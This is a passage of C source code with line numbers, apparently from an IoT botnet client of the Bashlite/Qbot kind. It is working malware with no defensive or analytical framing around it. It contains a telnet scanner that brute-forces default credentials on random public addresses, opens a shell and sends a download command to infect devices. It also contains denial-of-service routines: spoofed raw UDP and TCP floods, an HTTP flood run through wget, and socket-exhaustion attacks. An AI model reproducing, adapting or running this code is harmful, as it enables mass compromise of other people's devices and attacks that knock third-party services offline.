  586. }
  587.  
  588. break;
  589. }
  590. }
  591.  
  592. unsigned char tmpchr;
  593. unsigned char *cp;
  594. int count = 0;
  595.  
  596. cp = buf;
  597. while(bufsize-- > 1)
  598. {
  599. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  600. *cp = 0x00;
  601. return -1;
  602. }
  603. *cp++ = tmpchr;
  604. if(tmpchr == '\n') break;
  605. count++;
  606. }
  607. *cp = 0x00;
  608.  
  609. // zprintf("recv: %s\n", cp);
  610.  
  611. return count;
  612. }
  613.  
  614. int connectTimeout(int fd, char *host, int port, int timeout)
  615. {
  616. struct sockaddr_in dest_addr;
  617. fd_set myset;
  618. struct timeval tv;
  619. socklen_t lon;
  620.  
  621. int valopt;
  622. long arg = fcntl(fd, F_GETFL, NULL);
  623. arg |= O_NONBLOCK;
  624. fcntl(fd, F_SETFL, arg);
  625.  
  626. dest_addr.sin_family = AF_INET;
  627. dest_addr.sin_port = htons(port);
  628. if(getHost(host, &dest_addr.sin_addr)) return 0;
  629. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  630. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  631.  
  632. if (res < 0) {
  633. if (errno == EINPROGRESS) {
  634. tv.tv_sec = timeout;
  635. tv.tv_usec = 0;
  636. FD_ZERO(&myset);
  637. FD_SET(fd, &myset);
  638. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  639. lon = sizeof(int);
  640. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  641. if (valopt) return 0;
  642. }
  643. else return 0;
  644. }
  645. else return 0;
  646. }
  647.  
  648. arg = fcntl(fd, F_GETFL, NULL);
  649. arg &= (~O_NONBLOCK);
  650. fcntl(fd, F_SETFL, arg);
  651.  
  652. return 1;
  653. }
  654.  
  655. int listFork()
  656. {
  657. uint32_t parent, *newpids, i;
  658. parent = fork();
  659. if (parent <= 0) return parent;
  660. numpids++;
  661. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  662. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  663. newpids[numpids - 1] = parent;
  664. free(pids);
  665. pids = newpids;
  666. return parent;
  667. }
  668.  
  669. int negotiate(int sock, unsigned char *buf, int len)
  670. {
  671. unsigned char c;
  672.  
  673. switch (buf[1]) {
  674. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  675. case CMD_WILL:
  676. case CMD_WONT:
  677. case CMD_DO:
  678. case CMD_DONT:
  679. c = CMD_IAC;
  680. send(sock, &c, 1, MSG_NOSIGNAL);
  681. if (CMD_WONT == buf[1]) c = CMD_DONT;
  682. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  683. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  684. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  685. send(sock, &c, 1, MSG_NOSIGNAL);
  686. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  687. break;
  688.  
  689. default:
  690. break;
  691. }
  692.  
  693. return 0;
  694. }
  695.  
  696. int matchPrompt(char *bufStr)
  697. {
  698. char *prompts = ":>%$#\0";
  699.  
  700. int bufLen = strlen(bufStr);
  701. int i, q = 0;
  702. for(i = 0; i < strlen(prompts); i++)
  703. {
  704. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  705. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  706. }
  707.  
  708. return 0;
  709. }
  710.  
  711. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  712. {
  713. int bufferUsed = initialIndex, got = 0, found = 0;
  714. fd_set myset;
  715. struct timeval tv;
  716. tv.tv_sec = timeout;
  717. tv.tv_usec = timeoutusec;
  718. unsigned char *initialRead = NULL;
  719.  
  720. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  721. {
  722. FD_ZERO(&myset);
  723. FD_SET(fd, &myset);
  724. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  725. initialRead = buffer + bufferUsed;
  726. got = recv(fd, initialRead, 1, 0);
  727. if(got == -1 || got == 0) return 0;
  728. bufferUsed += got;
  729. if(*initialRead == 0xFF)
  730. {
  731. got = recv(fd, initialRead + 1, 2, 0);
  732. if(got == -1 || got == 0) return 0;
  733. bufferUsed += got;
  734. if(!negotiate(fd, initialRead, 3)) return 0;
  735. } else {
  736. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  737. }
  738. }
  739.  
  740. if(found) return 1;
  741. return 0;
  742. }
  743.  
  744. static uint8_t ipState[5];
  745. in_addr_t getRandomPublicIP()
  746. {
  747. if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
  748. {
  749. ipState[1]++;
  750. ipState[2]++;
  751. ipState[3]++;
  752. ipState[4]++;
  753. char ip[16];
  754. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  755. return inet_addr(ip);
  756. }
  757.  
  758. ipState[1] = 0;
  759. ipState[2] = 0;
  760. ipState[3] = 0;
  761. ipState[4] = 0;
  762. while(
  763. (ipState[1] == 0) ||
  764. (ipState[1] == 10) ||
  765. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  766. (ipState[1] == 127) ||
  767. (ipState[1] == 169 && ipState[2] == 254) ||
  768. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  769. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  770. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  771. (ipState[1] == 192 && ipState[2] == 168) ||
  772. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  773. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  774. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  775. (ipState[1] >= 224)
  776. )
  777. {
  778. ipState[1] = rand() % 255;
  779. ipState[2] = rand() % 255;
  780. ipState[3] = rand() % 255;
  781. ipState[4] = rand() % 255;
  782. }
  783.  
  784. char ip[16];
  785. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  786. return inet_addr(ip);
  787. }
  788.  
  789. in_addr_t getRandomIP(in_addr_t netmask)
  790. {
  791. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  792. return tmp ^ ( rand_cmwc() & ~netmask);
  793. }
  794.  
  795. unsigned short csum (unsigned short *buf, int count)
  796. {
  797. register uint64_t sum = 0;
  798. while( count > 1 ) { sum += *buf++; count -= 2; }
  799. if(count > 0) { sum += *(unsigned char *)buf; }
  800. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  801. return (uint16_t)(~sum);
  802. }
  803.  
  804. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  805. {
  806.  
  807. struct tcp_pseudo
  808. {
  809. unsigned long src_addr;
  810. unsigned long dst_addr;
  811. unsigned char zero;
  812. unsigned char proto;
  813. unsigned short length;
  814. } pseudohead;
  815. unsigned short total_len = iph->tot_len;
  816. pseudohead.src_addr=iph->saddr;
  817. pseudohead.dst_addr=iph->daddr;
  818. pseudohead.zero=0;
  819. pseudohead.proto=IPPROTO_TCP;
  820. pseudohead.length=htons(sizeof(struct tcphdr));
  821. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  822. unsigned short *tcp = malloc(totaltcp_len);
  823. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  824. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  825. unsigned short output = csum(tcp,totaltcp_len);
  826. free(tcp);
  827. return output;
  828. }
  829.  
  830. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  831. {
  832. iph->ihl = 5;
  833. iph->version = 4;
  834. iph->tos = 0;
  835. iph->tot_len = sizeof(struct iphdr) + packetSize;
  836. iph->id = rand_cmwc();
  837. iph->frag_off = 0;
  838. iph->ttl = MAXTTL;
  839. iph->protocol = protocol;
  840. iph->check = 0;
  841. iph->saddr = source;
  842. iph->daddr = dest;
  843. }
  844.  
  845. int sclose(int fd)
  846. {
  847. if(3 > fd) return 1;
  848. close(fd);
  849. return 0;
  850. }
  851.  
  852. void StartTheLelz()
  853. {
  854. int max = (getdtablesize() / 4) * 3, i, res;
  855. fd_set myset;
  856. struct timeval tv;
  857. socklen_t lon;
  858. int valopt;
  859.  
  860. max = max > 512 ? 512 : max;
  861.  
  862. struct sockaddr_in dest_addr;
  863. dest_addr.sin_family = AF_INET;
  864. dest_addr.sin_port = htons(23);
  865. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  866.  
  867. struct telstate_t
  868. {
  869. int fd;
  870. uint32_t ip;
  871. uint8_t state;
  872. uint8_t complete;
  873. uint8_t usernameInd;
  874. uint8_t passwordInd;
  875. uint32_t totalTimeout;
  876. uint16_t bufUsed;
  877. char *sockbuf;
  878. } fds[max];
  879. memset(fds, 0, max * (sizeof(int) + 1));
  880. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  881. struct timeval timeout;
  882. timeout.tv_sec = 5;
  883. timeout.tv_usec = 0;
  884. while(1)
  885. {
  886. for(i = 0; i < max; i++)
  887. {
  888. switch(fds[i].state)
  889. {
  890. case 0:
  891. {
  892. memset(fds[i].sockbuf, 0, 1024);
  893.  
  894. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  895. else {
  896. fds[i].passwordInd++;
  897. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  898. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  899. }
  900. dest_addr.sin_family = AF_INET;
  901. dest_addr.sin_port = htons(23);
  902. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  903. dest_addr.sin_addr.s_addr = fds[i].ip;
  904. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  905. setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  906. setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  907. if(fds[i].fd == -1) { continue; }
  908. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  909. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  910. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  911. }
  912. break;
  913.  
  914. case 1:
  915. {
  916. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  917.  
  918. FD_ZERO(&myset);
  919. FD_SET(fds[i].fd, &myset);
  920. tv.tv_sec = 0;
  921. tv.tv_usec = 10000;
  922. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  923. if(res == 1)
  924. {
  925. lon = sizeof(int);
  926. valopt = 0;
  927. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  928. if(valopt)
  929. {
  930. sclose(fds[i].fd);
  931. fds[i].state = 0;
  932. fds[i].complete = 1;
  933. } else {
  934. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  935. fds[i].totalTimeout = 0;
  936. fds[i].bufUsed = 0;
  937. memset(fds[i].sockbuf, 0, 1024);
  938. fds[i].state = 2;
  939. continue;
  940. }
  941. } else if(res == -1)
  942. {
  943. sclose(fds[i].fd);
  944. fds[i].state = 0;
  945. fds[i].complete = 1;
  946. }
  947.  
  948. if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  949. {
  950. sclose(fds[i].fd);
  951. fds[i].state = 0;
  952. fds[i].complete = 1;
  953. }
  954. }
  955. break;
  956.  
  957. case 2:
  958. {
  959. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  960. if(matchPrompt(fds[i].sockbuf)) {
  961. fds[i].state = 7;
  962. }
  963.  
  964. if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  965. {
  966. fds[i].totalTimeout = 0;
  967. fds[i].bufUsed = 0;
  968. memset(fds[i].sockbuf, 0, 1024);
  969. fds[i].state = 3;
  970. continue;
  971. } else {
  972. fds[i].bufUsed = strlen(fds[i].sockbuf);
  973. }
  974.  
  975. if(fds[i].totalTimeout + 30 < time(NULL))
  976. {
  977. sclose(fds[i].fd);
  978. fds[i].state = 0;
  979. fds[i].complete = 1;
  980. }
  981. }
  982. break;
  983.  
  984. case 3:
  985. {
  986. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  987. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  988. fds[i].state = 4;
  989. }
  990. break;
  991.  
  992. case 4:
  993. {
  994. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  995.  
  996. if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  997. {
  998. fds[i].totalTimeout = 0;
  999. fds[i].bufUsed = 0;
  1000. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1001. else fds[i].state = 7;
  1002. memset(fds[i].sockbuf, 0, 1024);
  1003. continue;
  1004. } else {
  1005. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1006. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1007. }
  1008.  
  1009. if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  1010. {
  1011. sclose(fds[i].fd);
  1012. fds[i].state = 0;
  1013. fds[i].complete = 1;
  1014. }
  1015. }
  1016. break;
  1017.  
  1018. case 5:
  1019. {
  1020. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1021. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1022. fds[i].state = 6;
  1023. }
  1024. break;
  1025.  
  1026. case 6:
  1027. {
  1028. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1029.  
  1030. if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1031. {
  1032. fds[i].totalTimeout = 0;
  1033. fds[i].bufUsed = 0;
  1034. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1035. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1036. else fds[i].state = 7;
  1037. memset(fds[i].sockbuf, 0, 1024);
  1038. continue;
  1039. } else {
  1040. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1041. }
  1042.  
  1043. if(fds[i].totalTimeout + 30 < time(NULL))
  1044. {
  1045. sclose(fds[i].fd);
  1046. fds[i].state = 0;
  1047. fds[i].complete = 1;
  1048. }
  1049. }
  1050. break;
  1051.  
  1052. case 7:
  1053. {
  1054. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1055. fds[i].state = 8;
  1056. }
  1057. break;
  1058.  
  1059. case 8:
  1060. {
  1061. //thx
  1062. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1063.  
  1064. if(send(fds[i].fd, "wget_line\r\n", 399, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  1065.  
  1066. if(fds[i].totalTimeout + 45 < time(NULL))
  1067. {
  1068. sclose(fds[i].fd);
  1069. fds[i].state = 0;
  1070. fds[i].complete = 1;
  1071. }
  1072. }
  1073. break;
  1074. }
  1075. }
  1076. }
  1077. }
  1078.  
  1079. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1080. {
  1081. struct sockaddr_in dest_addr;
  1082.  
  1083. dest_addr.sin_family = AF_INET;
  1084. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1085. else dest_addr.sin_port = htons(port);
  1086. if(getHost(target, &dest_addr.sin_addr)) return;
  1087. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1088.  
  1089. register unsigned int pollRegister;
  1090. pollRegister = pollinterval;
  1091.  
  1092. if(spoofit == 32)
  1093. {
  1094. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1095. if(!sockfd)
  1096. {
  1097. sockprintf(mainCommSock, "Failed opening raw socket.");
  1098. return;
  1099. }
  1100.  
  1101. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1102. if(buf == NULL) return;
  1103. memset(buf, 0, packetsize + 1);
  1104. makeRandomStr(buf, packetsize);
  1105.  
  1106. int end = time(NULL) + timeEnd;
  1107. register unsigned int i = 0;
  1108. while(1)
  1109. {
  1110. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1111.  
  1112. if(i == pollRegister)
  1113. {
  1114. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1115. if(time(NULL) > end) break;
  1116. i = 0;
  1117. continue;
  1118. }
  1119. i++;
  1120. }
  1121. } else {
  1122. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1123. if(!sockfd)
  1124. {
  1125. sockprintf(mainCommSock, "Failed opening raw socket.");
  1126. //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1127. return;
  1128. }
  1129.  
  1130. int tmp = 1;
  1131. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1132. {
  1133. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1134. return;
  1135. }
  1136.  
  1137. int counter = 50;
  1138. while(counter--)
  1139. {
  1140. srand(time(NULL) ^ rand_cmwc());
  1141. init_rand(rand());
  1142. }
  1143.  
  1144. in_addr_t netmask;
  1145.  
  1146. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1147. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1148.  
  1149. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1150. struct iphdr *iph = (struct iphdr *)packet;
  1151. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1152.  
  1153. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1154.  
  1155. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1156. udph->source = rand_cmwc();
  1157. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1158. udph->check = 0;
  1159.  
  1160. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1161.  
  1162. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1163.  
  1164. int end = time(NULL) + timeEnd;
  1165. register unsigned int i = 0;
  1166. while(1)
  1167. {
  1168. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1169.  
  1170. udph->source = rand_cmwc();
  1171. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1172. iph->id = rand_cmwc();
  1173. iph->saddr = htonl( getRandomIP(netmask) );
  1174. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1175.  
  1176. if(i == pollRegister)
  1177. {
  1178. if(time(NULL) > end) break;
  1179. i = 0;
  1180. continue;
  1181. }
  1182. i++;
  1183. }
  1184. }
  1185. }
  1186.  
  1187. void sendSTD(unsigned char *ip, int port, int secs) {
  1188.  
  1189. int iSTD_Sock;
  1190.  
  1191. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1192.  
  1193. time_t start = time(NULL);
  1194.  
  1195. struct sockaddr_in sin;
  1196.  
  1197. struct hostent *hp;
  1198.  
  1199. hp = gethostbyname(ip);
  1200.  
  1201. bzero((char*) &sin,sizeof(sin));
  1202. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1203. sin.sin_family = hp->h_addrtype;
  1204. sin.sin_port = port;
  1205.  
  1206. unsigned int a = 0;
  1207.  
  1208. while(1){
  1209. if (a >= 50)
  1210. {
  1211. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1212. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1213. if (time(NULL) >= start + secs)
  1214. {
  1215. close(iSTD_Sock);
  1216. _exit(0);
  1217. }
  1218. a = 0;
  1219. }
  1220. a++;
  1221. }
  1222.  
  1223.  
  1224. }
  1225.  
  1226. void sendHTTP(unsigned char *url, int end_time)
  1227. {
  1228. int end = time(NULL) + end_time;
  1229. FILE *pf;
  1230. char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1231.  
  1232. char *command[80];
  1233. sprintf(command,"wget -s -U \"");
  1234. strcat(command, UA);
  1235. strcat(command,"\" -q ");
  1236. strcat(command, url);
  1237.  
  1238. while(end > time(NULL))
  1239. {
  1240. UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1241. sprintf(command,"wget -s -U \"");
  1242. strcat(command, UA);
  1243. strcat(command,"\" -q ");
  1244. strcat(command, url);
  1245. system(command);
  1246. }
  1247.  
  1248. }
  1249.  
  1250. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1251. {
  1252. register unsigned int pollRegister;
  1253. pollRegister = pollinterval;
  1254.  
  1255. struct sockaddr_in dest_addr;
  1256.  
  1257. dest_addr.sin_family = AF_INET;
  1258. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1259. else dest_addr.sin_port = htons(port);
  1260. if(getHost(target, &dest_addr.sin_addr)) return;
  1261. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1262.  
  1263. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1264. if(!sockfd)
  1265. {
  1266. sockprintf(mainCommSock, "Failed opening raw socket.");
  1267. return;
  1268. }
  1269.  
  1270. int tmp = 1;
  1271. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1272. {
  1273. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1274. return;
  1275. }
  1276.  
  1277. in_addr_t netmask;
  1278.  
  1279. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1280. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1281.  
  1282. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1283. struct iphdr *iph = (struct iphdr *)packet;
  1284. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1285.  
  1286. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1287.  
  1288. tcph->source = rand_cmwc();
  1289. tcph->seq = rand_cmwc();
  1290. tcph->ack_seq = 0;
  1291. tcph->doff = 5;
  1292.  
  1293. if(!strcmp(flags, "all"))
  1294. {
  1295. tcph->syn = 1;
  1296. tcph->rst = 1;
  1297. tcph->fin = 1;
  1298. tcph->ack = 1;
  1299. tcph->psh = 1;
  1300. } else {
  1301. unsigned char *pch = strtok(flags, ",");
  1302. while(pch)
  1303. {
  1304. if(!strcmp(pch, "syn"))
  1305. {
  1306. tcph->syn = 1;
  1307. } else if(!strcmp(pch, "rst"))
  1308. {
  1309. tcph->rst = 1;
  1310. } else if(!strcmp(pch, "fin"))
  1311. {
  1312. tcph->fin = 1;
  1313. } else if(!strcmp(pch, "ack"))
  1314. {
  1315. tcph->ack = 1;
  1316. } else if(!strcmp(pch, "psh"))
  1317. {
  1318. tcph->psh = 1;
  1319. } else {
  1320. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1321. }
  1322. pch = strtok(NULL, ",");
  1323. }
  1324. }
  1325.  
  1326. tcph->window = rand_cmwc();
  1327. tcph->check = 0;
  1328. tcph->urg_ptr = 0;
  1329. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1330. tcph->check = tcpcsum(iph, tcph);
  1331.  
  1332. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1333.  
  1334. int end = time(NULL) + timeEnd;
  1335. register unsigned int i = 0;
  1336. while(1)
  1337. {
  1338. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1339.  
  1340. iph->saddr = htonl( getRandomIP(netmask) );
  1341. iph->id = rand_cmwc();
  1342. tcph->seq = rand_cmwc();
  1343. tcph->source = rand_cmwc();
  1344. tcph->check = 0;
  1345. tcph->check = tcpcsum(iph, tcph);
  1346. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1347.  
  1348. if(i == pollRegister)
  1349. {
  1350. if(time(NULL) > end) break;
  1351. i = 0;
  1352. continue;
  1353. }
  1354. i++;
  1355. }
  1356. }
  1357.  
  1358. void sendJUNK(unsigned char *ip, int port, int end_time)
  1359. {
  1360.  
  1361. int max = getdtablesize() / 2, i;
  1362.  
  1363. struct sockaddr_in dest_addr;
  1364. dest_addr.sin_family = AF_INET;
  1365. dest_addr.sin_port = htons(port);
  1366. if(getHost(ip, &dest_addr.sin_addr)) return;
  1367. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1368.  
  1369. struct state_t
  1370. {
  1371. int fd;
  1372. uint8_t state;
  1373. } fds[max];
  1374. memset(fds, 0, max * (sizeof(int) + 1));
  1375.  
  1376. fd_set myset;
  1377. struct timeval tv;
  1378. socklen_t lon;
  1379. int valopt, res;
  1380.  
  1381. unsigned char *watwat = malloc(1024);
  1382. memset(watwat, 0, 1024);
  1383.  
  1384. int end = time(NULL) + end_time;
  1385. while(end > time(NULL))
  1386. {
  1387. for(i = 0; i < max; i++)
  1388. {
  1389. switch(fds[i].state)
  1390. {
  1391. case 0:
  1392. {
  1393. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1394. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1395. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1396. else fds[i].state = 1;
  1397. }
  1398. break;
  1399.  
  1400. case 1:
  1401. {
  1402. FD_ZERO(&myset);
  1403. FD_SET(fds[i].fd, &myset);
  1404. tv.tv_sec = 0;
  1405. tv.tv_usec = 10000;
  1406. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1407. if(res == 1)
  1408. {
  1409. lon = sizeof(int);
  1410. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1411. if(valopt)
  1412. {
  1413. close(fds[i].fd);
  1414. fds[i].state = 0;
  1415. } else {
  1416. fds[i].state = 2;
  1417. }
  1418. } else if(res == -1)
  1419. {
  1420. close(fds[i].fd);
  1421. fds[i].state = 0;
  1422. }
  1423. }
  1424. break;
  1425.  
  1426. case 2:
  1427. {
  1428. makeRandomStr(watwat, 1024);
  1429. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1430. {
  1431. close(fds[i].fd);
  1432. fds[i].state = 0;
  1433. }
  1434. }
  1435. break;
  1436. }
  1437. }
  1438. }
  1439. }
  1440.  
  1441. void sendHOLD(unsigned char *ip, int port, int end_time)
  1442. {
  1443.  
  1444. int max = getdtablesize() / 2, i;
  1445.  
  1446. struct sockaddr_in dest_addr;
  1447. dest_addr.sin_family = AF_INET;
  1448. dest_addr.sin_port = htons(port);
  1449. if(getHost(ip, &dest_addr.sin_addr)) return;
  1450. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1451.  
  1452. struct state_t
  1453. {
  1454. int fd;
  1455. uint8_t state;
  1456. } fds[max];
  1457. memset(fds, 0, max * (sizeof(int) + 1));
